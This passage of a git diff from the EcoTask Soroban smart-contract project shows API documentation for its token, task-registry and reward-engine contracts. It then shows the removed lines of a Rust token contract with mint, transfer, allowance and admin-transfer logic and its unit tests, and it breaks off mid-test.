Persistent | `("balance", Address)` | `i128` | +| Persistent | `("allow", owner: Address, spender: Address)` | `Allowance { amount: i128, expiration_ledger: u32 }` | + +Error strings: + +- `token: allowance expired` +- `token: allowance not found` +- `token: already initialized` +- `token: amount must be non-negative` +- `token: amount must be positive` +- `token: expiration must be in the future` +- `token: insufficient allowance` +- `token: insufficient balance` +- `token: max supply below current supply` +- `token: max supply must be positive` +- `token: new admin must be different` +- `token: supply cap exceeded` +- `token: unauthorized` +- `allowance underflow` +- `balance overflow` +- `balance underflow` +- `supply overflow` +- `supply underflow` + +#### `task-registry` + +Public API: + +- `initialize(admin: Address)` +- `add_sponsor(caller: Address, sponsor: Address)` +- `remove_sponsor(caller: Address, sponsor: Address)` +- `create_task(creator: Address, task_type: String, location_hash: BytesN<32>, reward_amount: i128, max_completions: u32, expires_at: u64) -> u64` +- `get_task(task_id: u64) -> Task` +- `get_task_live_status(task_id: u64) -> Task` +- `complete_task(caller: Address, task_id: u64, user: Address)` +- `expire_task(caller: Address, task_id: u64)` +- `expire_task_permissionless(task_id: u64)` +- `extend_task_expiry(caller: Address, task_id: u64, new_expires_at: u64)` +- `cancel_task(caller: Address, task_id: u64)` +- `admin_cancel_task(caller: Address, task_id: u64)` +- `task_count() -> u64` +- `is_task_completed(task_id: u64, user: Address) -> bool` +- `get_tasks_by_creator(creator: Address) -> Vec` +- `get_tasks_by_creator_paged(creator: Address, cursor: u32, limit: u32) -> Vec` +- `list_tasks(cursor: u64, limit: u32) -> Vec` +- `transfer_admin(current_admin: Address, new_admin: Address)` + +Storage layout: + +| Scope | Key | Value | +|-------|-----|-------| +| Instance | `DataKey::TaskCount` | `u64` | +| Instance | `DataKey::Admin` | `Address` | +| Persistent | `DataKey::Task(task_id: u64)` | `Task { id, creator, task_type, location_hash, reward_amount, max_completions, completions, status, created_at, expires_at }` | +| Persistent | `DataKey::Sponsor(Address)` | `bool` | +| Persistent | `DataKey::Completion(task_id: u64, user: Address)` | `bool` | +| Persistent | `DataKey::CreatorTasks(Address)` | `Vec` | + +`TaskStatus` variants are `Active`, `Completed`, `Expired`, and `Cancelled`. + +Error strings: + +- `registry: already completed` +- `registry: already initialized` +- `registry: expiry must be in the future` +- `registry: max completions must be positive` +- `registry: max completions reached` +- `registry: new admin must be different` +- `registry: new expiry must extend the current one` +- `registry: reward must be positive` +- `registry: sponsor revoked` +- `registry: task expired` +- `registry: task is not active` +- `registry: task not found` +- `registry: task not yet expired` +- `registry: task type must not be empty` +- `registry: unauthorized` + +#### `reward-engine` + +Public API: + +- `initialize(admin: Address, token: Address, registry: Address, oracle: Address)` +- `set_oracle(caller: Address, new_oracle: Address)` +- `add_oracle(caller: Address, new_oracle: Address)` +- `remove_oracle(caller: Address, oracle: Address)` +- `get_oracles() -> Vec
` +- `is_oracle(addr: Address) -> bool` +- `set_token(caller: Address, new_token: Address)` +- `set_registry(caller: Address, new_registry: Address)` +- `set_reward_range(caller: Address, min_reward: i128, max_reward: i128)` +- `pause(caller: Address)` +- `unpause(caller: Address)` +- `is_paused() -> bool` +- `submit_proof(oracle: Address, user: Address, task_id: u64, proof_cid: String)` +- `approve_proof(oracle: Address, user: Address, task_id: u64, reward_amount: i128)` +- `reject_proof(oracle: Address, user: Address, task_id: u64)` +- `dispute_proof(caller: Address, user: Address, task_id: u64)` +- `resolve_dispute(caller: Address, user: Address, task_id: u64, approve: bool, reward_amount: i128)` +- `get_verification(task_id: u64, user: Address) -> Verification` +- `get_verification_by_cid_hash(cid_hash: BytesN<32>) -> Verification` +- `get_pending_verifications_paged(cursor: u32, limit: u32) -> Vec` +- `get_pending_verifications() -> Vec` +- `get_verifications_by_user(user: Address, cursor: u32, limit: u32) -> Vec` +- `total_paid() -> i128` +- `transfer_admin(current_admin: Address, new_admin: Address)` + +Storage layout: + +| Scope | Key | Value | +|-------|-----|-------| +| Instance | `DataKey::Admin` | `Address` | +| Instance | `DataKey::Token` | `Address` | +| Instance | `DataKey::Registry` | `Address` | +| Instance | `DataKey::Oracles` | `Vec
` | +| Instance | `DataKey::MinReward` | `i128` | +| Instance | `DataKey::MaxReward` | `i128` | +| Instance | `DataKey::VerificationList` | `Vec` | +| Instance | `DataKey::TotalPaid` | `i128` | +| Instance | `DataKey::Paused` | `bool` | +| Persistent | `DataKey::Verification(task_id: u64, user: Address)` | `Verification { task_id, user, proof_cid, reward_amount, status, submitted_at, resolved_at, oracle }` | +| Persistent | `DataKey::CidHash(BytesN<32>)` | `VerificationKey { task_id, user }` | +| Persistent | `DataKey::UserVerifications(Address)` | `Vec` | + +`VerificationStatus` variants are `Pending`, `Approved`, `Rejected`, and +`Disputed`. CID index entries are extended to 4,096 ledgers when written. + +Error strings: + +- `engine: already initialized` +- `engine: cannot remove the last oracle` +- `engine: contract is paused` +- `engine: max reward must be >= min reward` +- `engine: min reward must be positive` +- `engine: new admin must be different` +- `engine: not found` +- `engine: oracle already registered` +- `engine: oracle must be different from admin` +- `engine: oracle not registered` +- `engine: proof already submitted` +- `engine: proof cid already submitted` +- `engine: reward amount must be positive` +- `engine: reward below minimum` +- `engine: reward exceeds maximum` +- `engine: reward exceeds task budget` +- `engine: task has expired` +- `engine: task is not active` +- `engine: unauthorized` +- `engine: verification is not disputable` +- `engine: verification is not disputed` +- `engine: verification is not pending` +- `engine: verification not found` +- `total_paid overflow` + +[Unreleased]: https://github.com/ecotask-network/EcoTask-contract/compare/c579be9ebcb378005fbdab62939b755d4418935e...HEAD +[0.1.0-alpha]: https://github.com/ecotask-network/EcoTask-contract/tree/c579be9ebcb378005fbdab62939b755d4418935e diff --git a/contracts/eco-token/src/token.rs b/contracts/eco-token/src/token.rs index cd775d8..19cdfec 100644 --- a/contracts/eco-token/src/token.rs +++ b/contracts/eco-token/src/token.rs @@ -1,2148 +1,2188 @@ -use crate::storage; -use soroban_sdk::{contract, contractevent, contractimpl, Address, Env, String}; - -#[contractevent] -#[derive(Clone, Debug, Eq, PartialEq)] -pub struct MintEvent { - #[topic] - pub admin: Address, - #[topic] - pub to: Address, - pub amount: i128, -} - -#[contractevent] -#[derive(Clone, Debug, Eq, PartialEq)] -pub struct TransferEvent { - #[topic] - pub from: Address, - #[topic] - pub to: Address, - pub amount: i128, -} - -#[contractevent] -#[derive(Clone, Debug, Eq, PartialEq)] -pub struct BurnEvent { - #[topic] - pub from: Address, - pub amount: i128, -} - -#[contractevent] -#[derive(Clone, Debug, Eq, PartialEq)] -pub struct TransferFromEvent { - #[topic] - pub from: Address, - #[topic] - pub to: Address, - #[topic] - pub spender: Address, - pub amount: i128, -} - -#[contractevent] -#[derive(Clone, Debug, Eq, PartialEq)] -pub struct ApproveEvent { - #[topic] - pub owner: Address, - #[topic] - pub spender: Address, - pub amount: i128, - pub expiration_ledger: u32, -} - -#[contractevent] -#[derive(Clone, Debug, Eq, PartialEq)] -pub struct MaxSupplyUpdatedEvent { - #[topic] - pub admin: Address, - pub max_supply: i128, -} - -#[contractevent] -#[derive(Clone, Debug, Eq, PartialEq)] -pub struct MetadataUpdatedEvent { - #[topic] - pub admin: Address, - pub name: String, - pub symbol: String, - pub decimal: u32, -} - -#[contractevent] -#[derive(Clone, Debug, Eq, PartialEq)] -pub struct MinterUpdatedEvent { - #[topic] - pub admin: Address, - pub previous_minter: Address, - pub new_minter: Address, -} - -#[contractevent] -#[derive(Clone, Debug, Eq, PartialEq)] -pub struct AdminProposedEvent { - #[topic] - pub current_admin: Address, - #[topic] - pub proposed_admin: Address, -} - -#[contractevent] -#[derive(Clone, Debug, Eq, PartialEq)] -pub struct AdminAcceptedEvent { - #[topic] - pub new_admin: Address, -} - -#[contract] -pub struct TokenContract; - -#[contractimpl] -impl TokenContract { - /// Initializes the token contract with admin, metadata, and initial minter. - /// - /// # Arguments - /// - /// * `admin` - The initial administrator address who can configure the contract - /// * `name` - The human-readable name of the token (e.g., "ECO") - /// * `symbol` - The token symbol/ticker (e.g., "ECO") - /// * `decimal` - The number of decimal places for display purposes - /// - /// # Panics - /// - /// Panics if the contract has already been initialized. - /// - /// # Auth - /// - /// No authentication required. Can only be called once during deployment. - pub fn initialize(e: Env, admin: Address, name: String, symbol: String, decimal: u32) { - storage::extend_instance_ttl(&e); - if storage::has_admin(&e) { - panic!("token: already initialized"); - } - storage::write_admin(&e, &admin); - storage::write_minter(&e, &admin); - storage::write_metadata(&e, &name, &symbol, &decimal); - storage::write_supply(&e, 0); - } - - /// Mints new tokens to a specified address. - /// - /// # Arguments - /// - /// * `to` - The address to receive the newly minted tokens - /// * `amount` - The amount of tokens to mint (must be positive) - /// - /// # Panics - /// - /// * Panics if `amount <= 0` - /// * Panics if minting would exceed the max supply cap (if set) - /// - /// # Auth - /// - /// Requires the caller to be the current minter address. - pub fn mint(e: Env, to: Address, amount: i128) { - storage::extend_instance_ttl(&e); - let minter = storage::read_minter(&e); - minter.require_auth(); - - if amount <= 0 { - panic!("token: amount must be positive"); - } - - let supply = storage::read_supply(&e); - if let Some(cap) = storage::read_max_supply(&e) { - let new_supply = supply.checked_add(amount).expect("supply overflow"); - if new_supply > cap { - panic!("token: supply cap exceeded"); - } - } - - let balance = storage::read_balance(&e, &to); - storage::write_balance( - &e, - &to, - balance.checked_add(amount).expect("balance overflow"), - ); - - storage::write_supply(&e, supply.checked_add(amount).expect("supply overflow")); - - MintEvent { - admin: minter, - to: to.clone(), - amount, - } - .publish(&e); - } - - /// Transfers tokens from one address to another. - /// - /// # Arguments - /// - /// * `from` - The address sending the tokens (must authorize the transfer) - /// * `to` - The address receiving the tokens - /// * `amount` - The amount of tokens to transfer (must be positive) - /// - /// # Panics - /// - /// * Panics if `amount <= 0` - /// * Panics if `from == to` - /// * Panics if `from` has insufficient balance - /// - /// # Auth - /// - /// Requires authentication from the `from` address. - pub fn transfer(e: Env, from: Address, to: Address, amount: i128) { - storage::extend_instance_ttl(&e); - from.require_auth(); - - if amount <= 0 { - panic!("token: amount must be positive"); - } - - if from == to { - panic!("token: cannot transfer to self"); - } - - let from_balance = storage::read_balance(&e, &from); - if from_balance < amount { - panic!("token: insufficient balance"); - } - - storage::write_balance( - &e, - &from, - from_balance.checked_sub(amount).expect("balance underflow"), - ); - - let to_balance = storage::read_balance(&e, &to); - storage::write_balance( - &e, - &to, - to_balance.checked_add(amount).expect("balance overflow"), - ); - - TransferEvent { - from: from.clone(), - to: to.clone(), - amount, - } - .publish(&e); - } - - /// Returns the token balance of a given address. - /// - /// # Arguments - /// - /// * `id` - The address to query the balance for - /// - /// # Returns - /// - /// The current balance of the address as an i128. - pub fn balance(e: Env, id: Address) -> i128 { - storage::extend_instance_ttl(&e); - storage::read_balance(&e, &id) - } - - /// Returns the total supply of tokens currently in circulation. - /// - /// # Returns - /// - /// The total supply as an i128. - pub fn total_supply(e: Env) -> i128 { - storage::extend_instance_ttl(&e); - storage::read_supply(&e) - } - - /// The hard cap on total supply, or `i128::MAX` if no cap has been set. - /// - /// Minting is rejected whenever it would push the supply past this bound. - /// - /// # Returns - /// - /// The maximum supply cap, or i128::MAX if no cap is configured. - pub fn max_supply(e: Env) -> i128 { - storage::extend_instance_ttl(&e); - storage::read_max_supply(&e).unwrap_or(i128::MAX) - } - - /// Sets the hard supply cap. Admin-only. The cap must be positive and not - /// lower than the current supply, so an already-oversubscribed token can - /// never be retroactively frozen into an invalid state. - /// - /// # Arguments - /// - /// * `caller` - The address invoking the function (must be admin) - /// * `max_supply` - The new maximum supply cap (must be positive and >= current supply) - /// - /// # Panics - /// - /// * Panics if caller is not the admin - /// * Panics if `max_supply <= 0` - /// * Panics if `max_supply < current_supply` - /// - /// # Auth - /// - /// Requires authentication from the admin address. - pub fn set_max_supply(e: Env, caller: Address, max_supply: i128) { - storage::extend_instance_ttl(&e); - caller.require_auth(); - let admin = storage::read_admin(&e); - if caller != admin { - panic!("token: unauthorized"); - } - if max_supply <= 0 { - panic!("token: max supply must be positive"); - } - if max_supply < storage::read_supply(&e) { - panic!("token: max supply below current supply"); - } - storage::write_max_supply(&e, max_supply); - - MaxSupplyUpdatedEvent { admin, max_supply }.publish(&e); - } - - /// Returns the token name. - /// - /// # Returns - /// - /// The human-readable name of the token. - pub fn name(e: Env) -> String { - storage::extend_instance_ttl(&e); - storage::read_name(&e) - } - - /// Returns the token symbol/ticker. - /// - /// # Returns - /// - /// The token symbol (e.g., "ECO"). - pub fn symbol(e: Env) -> String { - storage::extend_instance_ttl(&e); - storage::read_symbol(&e) - } - - /// Returns the number of decimal places for token display. - /// - /// # Returns - /// - /// The decimal precision as a u32. - pub fn decimal(e: Env) -> u32 { - storage::extend_instance_ttl(&e); - storage::read_decimal(&e) - } - - /// SEP-0041 alias for `decimal`. - /// - /// # Returns - /// - /// The number of decimal places for token display. - pub fn decimals(e: Env) -> u32 { - storage::extend_instance_ttl(&e); - storage::read_decimal(&e) - } - - /// Updates token metadata (SEP-0041 `set_metadata`). Admin-only. - /// - /// # Arguments - /// - /// * `caller` - The address invoking the function (must be admin) - /// * `name` - The new token name - /// * `symbol` - The new token symbol - /// * `decimal` - The new decimal precision - /// - /// # Panics - /// - /// Panics if caller is not the admin. - /// - /// # Auth - /// - /// Requires authentication from the admin address. - pub fn set_metadata(e: Env, caller: Address, name: String, symbol: String, decimal: u32) { - storage::extend_instance_ttl(&e); - caller.require_auth(); - let admin = storage::read_admin(&e); - if caller != admin { - panic!("token: unauthorized"); - } - storage::write_metadata(&e, &name, &symbol, &decimal); - - MetadataUpdatedEvent { - admin, - name, - symbol, - decimal, - } - .publish(&e); - } - - /// Returns the current admin address. - /// - /// # Returns - /// - /// The address of the current administrator. - pub fn admin(e: Env) -> Address { - storage::extend_instance_ttl(&e); - storage::read_admin(&e) - } - - /// Transfers the admin role to a new address. - /// - /// # Arguments - /// - /// * `current_admin` - The current admin address (must authorize) - /// * `new_admin` - The new admin address to transfer control to - /// - /// # Panics - /// - /// * Panics if `current_admin` is not the stored admin - /// * Panics if `new_admin == current_admin` - /// - /// # Auth - /// - /// Requires authentication from the current admin address. - pub fn propose_admin(e: Env, current_admin: Address, new_admin: Address) { - storage::extend_instance_ttl(&e); - current_admin.require_auth(); - let stored_admin = storage::read_admin(&e); - if current_admin != stored_admin { - panic!("token: unauthorized"); - } - if new_admin == current_admin { - panic!("token: new admin must be different"); - } - storage::write_pending_admin(&e, &new_admin); - AdminProposedEvent { - current_admin, - proposed_admin: new_admin, - } - .publish(&e); - } - - pub fn accept_admin(e: Env, pending_admin: Address) { - storage::extend_instance_ttl(&e); - pending_admin.require_auth(); - let proposed = - storage::read_pending_admin(&e).unwrap_or_else(|| panic!("token: no pending admin")); - if pending_admin != proposed { - panic!("token: unauthorized pending admin"); - } - storage::write_admin(&e, &pending_admin); - storage::remove_pending_admin(&e); - AdminAcceptedEvent { - new_admin: pending_admin, - } - .publish(&e); - } - - // DEPRECATED: use propose_admin. This alias preserves the existing ABI while - // requiring the proposed admin to accept before gaining control. - pub fn transfer_admin(e: Env, current_admin: Address, new_admin: Address) { - storage::extend_instance_ttl(&e); - Self::propose_admin(e, current_admin, new_admin); - } - - /// Returns the current minter address. - /// - /// # Returns - /// - /// The address authorized to mint new tokens. - pub fn minter(e: Env) -> Address { - storage::extend_instance_ttl(&e); - storage::read_minter(&e) - } - - /// Sets the minter address. Admin-only. - /// - /// # Arguments - /// - /// * `caller` - The address invoking the function (must be admin) - /// * `new_minter` - The new address to authorize as minter - /// - /// # Panics - /// - /// Panics if caller is not the admin. - /// - /// # Auth - /// - /// Requires authentication from the admin address. - pub fn set_minter(e: Env, caller: Address, new_minter: Address) { - storage::extend_instance_ttl(&e); - caller.require_auth(); - let admin = storage::read_admin(&e); - if caller != admin { - panic!("token: unauthorized"); - } - // The minting role must remain separate from the admin role. Allowing - // `minter == admin` (the caller here) collapses the role separation the - // security model depends on, so reject it explicitly. - if new_minter == caller { - panic!("token: minter must differ from admin"); - } - let previous_minter = storage::read_minter(&e); - storage::write_minter(&e, &new_minter); - MinterUpdatedEvent { - admin, - previous_minter, - new_minter, - } - .publish(&e); - } - - /// Burns tokens from an address, reducing the total supply. - /// - /// # Arguments - /// - /// * `from` - The address to burn tokens from (must authorize) - /// * `amount` - The amount of tokens to burn (must be positive) - /// - /// # Panics - /// - /// * Panics if `amount <= 0` - /// * Panics if `from` has insufficient balance - /// - /// # Auth - /// - /// Requires authentication from the `from` address. - pub fn burn(e: Env, from: Address, amount: i128) { - storage::extend_instance_ttl(&e); - from.require_auth(); - - if amount <= 0 { - panic!("token: amount must be positive"); - } - - let balance = storage::read_balance(&e, &from); - if balance < amount { - panic!("token: insufficient balance"); - } - - storage::write_balance( - &e, - &from, - balance.checked_sub(amount).expect("balance underflow"), - ); - - let supply = storage::read_supply(&e); - storage::write_supply(&e, supply.checked_sub(amount).expect("supply underflow")); - - BurnEvent { - from: from.clone(), - amount, - } - .publish(&e); - } - - /// Approves a spender to transfer tokens on behalf of an owner. - /// - /// # Arguments - /// - /// * `owner` - The address owning the tokens (must authorize) - /// * `spender` - The address being authorized to spend on behalf of owner - /// * `amount` - The maximum amount the spender can transfer (must be non-negative) - /// * `expiration_ledger` - The ledger sequence number at which this allowance expires - /// - /// # Panics - /// - /// * Panics if `amount < 0` - /// * Panics if `expiration_ledger <= current_ledger_sequence` - /// - /// # Auth - /// - /// Requires authentication from the owner address. - pub fn approve(e: Env, owner: Address, spender: Address, amount: i128, expiration_ledger: u32) { - storage::extend_instance_ttl(&e); - owner.require_auth(); - - if amount < 0 { - panic!("token: amount must be non-negative"); - } - if expiration_ledger <= e.ledger().sequence() { - panic!("token: expiration must be in the future"); - } - - let allowance = storage::Allowance { - amount, - expiration_ledger, - }; - storage::write_allowance(&e, &owner, &spender, &allowance); - - ApproveEvent { - owner, - spender, - amount, - expiration_ledger, - } - .publish(&e); - } - - /// Returns the current allowance for a spender to transfer tokens from an owner. - /// - /// # Arguments - /// - /// * `owner` - The address that granted the allowance - /// * `spender` - The address that was granted the allowance - /// - /// # Returns - /// - /// The current allowance amount, or 0 if no allowance exists or it has expired. - pub fn allowance(e: Env, owner: Address, spender: Address) -> i128 { - storage::extend_instance_ttl(&e); - match storage::read_allowance(&e, &owner, &spender) { - Some(a) => { - if a.expiration_ledger < e.ledger().sequence() { - // Lazy cleanup: drop the expired allowance key from storage to - // reclaim ledger rent. The return value stays 0 per SEP-0041, - // so callers that only care about the amount are unaffected. - storage::remove_allowance(&e, &owner, &spender); - 0 - } else { - a.amount - } - } - None => 0, - } - } - - /// Returns an allowance together with its expiration ledger. - /// - /// # Arguments - /// - /// * `owner` - The address that granted the allowance - /// * `spender` - The address that was granted the allowance - /// - /// # Returns - /// - /// Returns `None` when no allowance exists for the `(owner, spender)` pair. - /// Otherwise, returns `Some((amount, expiration_ledger))`. The amount is zero - /// when the allowance has expired, allowing callers to distinguish an expired - /// approval from one that was never created. - /// - /// # Auth - /// - /// No authentication is required. - pub fn allowance_with_expiry(e: Env, owner: Address, spender: Address) -> Option<(i128, u32)> { - storage::extend_instance_ttl(&e); - let current_sequence = e.ledger().sequence(); - match storage::read_allowance(&e, &owner, &spender) { - Some(a) => { - if a.expiration_ledger < current_sequence { - Some((0, a.expiration_ledger)) - } else { - Some((a.amount, a.expiration_ledger)) - } - } - None => None, - } - } - - /// Transfers tokens from one address to another using an approved allowance. - /// - /// # Arguments - /// - /// * `spender` - The address authorized to spend (must authorize) - /// * `from` - The address owning the tokens - /// * `to` - The address receiving the tokens - /// * `amount` - The amount of tokens to transfer (must be positive) - /// - /// # Panics - /// - /// * Panics if `amount <= 0` - /// * Panics if `from == to` - /// * Panics if no allowance exists or it has expired - /// * Panics if the allowance is insufficient for the transfer amount - /// * Panics if `from` has insufficient balance - /// - /// # Auth - /// - /// Requires authentication from the spender address. - pub fn transfer_from(e: Env, spender: Address, from: Address, to: Address, amount: i128) { - storage::extend_instance_ttl(&e); - spender.require_auth(); - - if amount <= 0 { - panic!("token: amount must be positive"); - } - - if from == to { - panic!("token: cannot transfer to self"); - } - - let allowance = match storage::read_allowance(&e, &from, &spender) { - Some(a) => { - if a.expiration_ledger < e.ledger().sequence() { - panic!("token: allowance expired"); - } - a - } - None => panic!("token: allowance not found"), - }; - - if allowance.amount < amount { - panic!("token: insufficient allowance"); - } - - storage::spend_allowance(&e, &from, &spender, &allowance, amount); - - let from_balance = storage::read_balance(&e, &from); - if from_balance < amount { - panic!("token: insufficient balance"); - } - - storage::write_balance( - &e, - &from, - from_balance.checked_sub(amount).expect("balance underflow"), - ); - - let to_balance = storage::read_balance(&e, &to); - storage::write_balance( - &e, - &to, - to_balance.checked_add(amount).expect("balance overflow"), - ); - - TransferFromEvent { - from, - to, - spender: spender.clone(), - amount, - } - .publish(&e); - } -} - -#[cfg(test)] -mod test { - extern crate std; - use std::format; - - use crate::{TokenContract, TokenContractClient}; - use soroban_sdk::testutils::Address as _; - use soroban_sdk::testutils::Ledger as _; - use soroban_sdk::{Address, Env, String}; - - #[test] - fn test_initialize_and_metadata() { - let e = Env::default(); - let admin = Address::generate(&e); - let contract_id = e.register(TokenContract, ()); - let client = TokenContractClient::new(&e, &contract_id); - - client.initialize( - &admin, - &String::from_str(&e, "ECO"), - &String::from_str(&e, "ECO"), - &7, - ); - - assert_eq!(client.name(), String::from_str(&e, "ECO")); - assert_eq!(client.symbol(), String::from_str(&e, "ECO")); - assert_eq!(client.decimal(), 7); - assert_eq!(client.total_supply(), 0); - } - - #[test] - fn test_mint_and_balance() { - let e = Env::default(); - let admin = Address::generate(&e); - let user = Address::generate(&e); - let contract_id = e.register(TokenContract, ()); - let client = TokenContractClient::new(&e, &contract_id); - - client.initialize( - &admin, - &String::from_str(&e, "ECO"), - &String::from_str(&e, "ECO"), - &7, - ); - - e.mock_all_auths(); - client.mint(&user, &1000); - - assert_eq!(client.balance(&user), 1000); - assert_eq!(client.total_supply(), 1000); - } - - #[test] - fn test_transfer() { - let e = Env::default(); - let admin = Address::generate(&e); - let from = Address::generate(&e); - let to = Address::generate(&e); - let contract_id = e.register(TokenContract, ()); - let client = TokenContractClient::new(&e, &contract_id); - - client.initialize( - &admin, - &String::from_str(&e, "ECO"), - &String::from_str(&e, "ECO"), - &7, - ); - - e.mock_all_auths(); - client.mint(&from, &500); - client.transfer(&from, &to, &300); - - assert_eq!(client.balance(&from), 200); - assert_eq!(client.balance(&to), 300); - } - - #[test] - #[should_panic(expected = "token: amount must be positive")] - fn test_mint_zero_amount() { - let e = Env::default(); - let admin = Address::generate(&e); - let user = Address::generate(&e); - let contract_id = e.register(TokenContract, ()); - let client = TokenContractClient::new(&e, &contract_id); - - client.initialize( - &admin, - &String::from_str(&e, "ECO"), - &String::from_str(&e, "ECO"), - &7, - ); - - e.mock_all_auths(); - client.mint(&user, &0); - } - - #[test] - #[should_panic(expected = "token: insufficient balance")] - fn test_transfer_insufficient_balance() { - let e = Env::default(); - let admin = Address::generate(&e); - let from = Address::generate(&e); - let to = Address::generate(&e); - let contract_id = e.register(TokenContract, ()); - let client = TokenContractClient::new(&e, &contract_id); - - client.initialize( - &admin, - &String::from_str(&e, "ECO"), - &String::from_str(&e, "ECO"), - &7, - ); - - e.mock_all_auths(); - client.transfer(&from, &to, &100); - } - - #[test] - #[should_panic] - fn test_mint_requires_minter_auth() { - let e = Env::default(); - let admin = Address::generate(&e); - let user = Address::generate(&e); - let contract_id = e.register(TokenContract, ()); - let client = TokenContractClient::new(&e, &contract_id); - - client.initialize( - &admin, - &String::from_str(&e, "ECO"), - &String::from_str(&e, "ECO"), - &7, - ); - - client.mint(&user, &1000); - } - - #[test] - fn test_initial_minter_is_admin() { - let e = Env::default(); - let admin = Address::generate(&e); - let contract_id = e.register(TokenContract, ()); - let client = TokenContractClient::new(&e, &contract_id); - - client.initialize( - &admin, - &String::from_str(&e, "ECO"), - &String::from_str(&e, "ECO"), - &7, - ); - - assert_eq!(client.minter(), admin); - } - - #[test] - fn test_set_minter_transfers_minting_rights() { - let e = Env::default(); - let admin = Address::generate(&e); - let minter = Address::generate(&e); - let user = Address::generate(&e); - let contract_id = e.register(TokenContract, ()); - let client = TokenContractClient::new(&e, &contract_id); - - client.initialize( - &admin, - &String::from_str(&e, "ECO"), - &String::from_str(&e, "ECO"), - &7, - ); - - e.mock_all_auths(); - client.set_minter(&admin, &minter); - assert_eq!(client.minter(), minter); - - client.mint(&user, &1000); - assert_eq!(client.balance(&user), 1000); - assert_eq!(client.total_supply(), 1000); - } - - #[test] - #[should_panic(expected = "token: unauthorized")] - fn test_set_minter_unauthorized() { - let e = Env::default(); - let admin = Address::generate(&e); - let attacker = Address::generate(&e); - let minter = Address::generate(&e); - let contract_id = e.register(TokenContract, ()); - let client = TokenContractClient::new(&e, &contract_id); - - client.initialize( - &admin, - &String::from_str(&e, "ECO"), - &String::from_str(&e, "ECO"), - &7, - ); - - e.mock_all_auths(); - client.set_minter(&attacker, &minter); - } - - #[test] - fn test_set_minter_emits_minter_updated_event() { - use soroban_sdk::testutils::Events as _; - use soroban_sdk::vec; - use soroban_sdk::{IntoVal, Symbol, Val}; - let e = Env::default(); - let admin = Address::generate(&e); - let minter = Address::generate(&e); - let contract_id = e.register(TokenContract, ()); - let client = TokenContractClient::new(&e, &contract_id); - - client.initialize( - &admin, - &String::from_str(&e, "ECO"), - &String::from_str(&e, "ECO"), - &7, - ); - - e.mock_all_auths(); - client.set_minter(&admin, &minter); - - let events = e.events().all(); - let topics: soroban_sdk::Vec = vec![ - &e, - Symbol::new(&e, "minter_updated_event").to_val(), - admin.clone().into_val(&e), - ]; - let data: Val = soroban_sdk::Map::::from_array( - &e, - [ - ( - Symbol::new(&e, "previous_minter"), - admin.clone().into_val(&e), - ), - (Symbol::new(&e, "new_minter"), minter.clone().into_val(&e)), - ], - ) - .into_val(&e); - - assert_eq!(events, vec![&e, (contract_id.clone(), topics, data)]); - - assert_eq!(client.minter(), minter); - } - - #[test] - #[should_panic(expected = "token: minter must differ from admin")] - fn test_set_minter_rejects_admin_as_minter() { - let e = Env::default(); - let admin = Address::generate(&e); - let contract_id = e.register(TokenContract, ()); - let client = TokenContractClient::new(&e, &contract_id); - - client.initialize( - &admin, - &String::from_str(&e, "ECO"), - &String::from_str(&e, "ECO"), - &7, - ); - - e.mock_all_auths(); - // Setting the minter to the admin itself collapses role separation. - client.set_minter(&admin, &admin); - } - - #[test] - #[should_panic(expected = "token: already initialized")] - fn test_double_initialize_fails() { - let e = Env::default(); - let admin = Address::generate(&e); - let contract_id = e.register(TokenContract, ()); - let client = TokenContractClient::new(&e, &contract_id); - - client.initialize( - &admin, - &String::from_str(&e, "ECO"), - &String::from_str(&e, "ECO"), - &7, - ); - - client.initialize( - &admin, - &String::from_str(&e, "ECO"), - &String::from_str(&e, "ECO"), - &7, - ); - } - - #[test] - fn test_transfer_admin() { - let e = Env::default(); - let admin = Address::generate(&e); - let new_admin = Address::generate(&e); - let contract_id = e.register(TokenContract, ()); - let client = TokenContractClient::new(&e, &contract_id); - - client.initialize( - &admin, - &String::from_str(&e, "ECO"), - &String::from_str(&e, "ECO"), - &7, - ); - - e.mock_all_auths(); - client.transfer_admin(&admin, &new_admin); - assert_eq!(client.admin(), admin); - client.accept_admin(&new_admin); - assert_eq!(client.admin(), new_admin); - } - - #[test] - fn test_propose_admin_overwrite() { - let e = Env::default(); - let admin = Address::generate(&e); - let first = Address::generate(&e); - let second = Address::generate(&e); - let contract_id = e.register(TokenContract, ()); - let client = TokenContractClient::new(&e, &contract_id); - client.initialize( - &admin, - &String::from_str(&e, "ECO"), - &String::from_str(&e, "ECO"), - &7, - ); - e.mock_all_auths(); - client.propose_admin(&admin, &first); - client.propose_admin(&admin, &second); - client.accept_admin(&second); - assert_eq!(client.admin(), second); - } - - #[test] - #[should_panic(expected = "token: unauthorized pending admin")] - fn test_accept_admin_wrong_address() { - let e = Env::default(); - let admin = Address::generate(&e); - let pending = Address::generate(&e); - let wrong = Address::generate(&e); - let contract_id = e.register(TokenContract, ()); - let client = TokenContractClient::new(&e, &contract_id); - client.initialize( - &admin, - &String::from_str(&e, "ECO"), - &String::from_str(&e, "ECO"), - &7, - ); - e.mock_all_auths(); - client.propose_admin(&admin, &pending); - client.accept_admin(&wrong); - } - - #[test] - #[should_panic(expected = "token: no pending admin")] - fn test_accept_admin_without_proposal() { - let e = Env::default(); - let admin = Address::generate(&e); - let contract_id = e.register(TokenContract, ()); - let client = TokenContractClient::new(&e, &contract_id); - client.initialize( - &admin, - &String::from_str(&e, "ECO"), - &String::from_str(&e, "ECO"), - &7, - ); - e.mock_all_auths(); - client.accept_admin(&Address::generate(&e)); - } - - #[test] - #[should_panic(expected = "token: unauthorized")] - fn test_transfer_admin_unauthorized() { - let e = Env::default(); - let admin = Address::generate(&e); - let attacker = Address::generate(&e); - let new_admin = Address::generate(&e); - let contract_id = e.register(TokenContract, ()); - let client = TokenContractClient::new(&e, &contract_id); - - client.initialize( - &admin, - &String::from_str(&e, "ECO"), - &String::from_str(&e, "ECO"), - &7, - ); - - e.mock_all_auths(); - client.transfer_admin(&attacker, &new_admin); - } - - #[test] - #[should_panic(expected = "token: new admin must be different")] - fn test_transfer_admin_same_address() { - let e = Env::default(); - let admin = Address::generate(&e); - let contract_id = e.register(TokenContract, ()); - let client = TokenContractClient::new(&e, &contract_id); - - client.initialize( - &admin, - &String::from_str(&e, "ECO"), - &String::from_str(&e, "ECO"), - &7, - ); - - e.mock_all_auths(); - client.transfer_admin(&admin, &admin); - } - - #[test] - fn test_burn() { - let e = Env::default(); - let admin = Address::generate(&e); - let user = Address::generate(&e); - let contract_id = e.register(TokenContract, ()); - let client = TokenContractClient::new(&e, &contract_id); - - client.initialize( - &admin, - &String::from_str(&e, "ECO"), - &String::from_str(&e, "ECO"), - &7, - ); - - 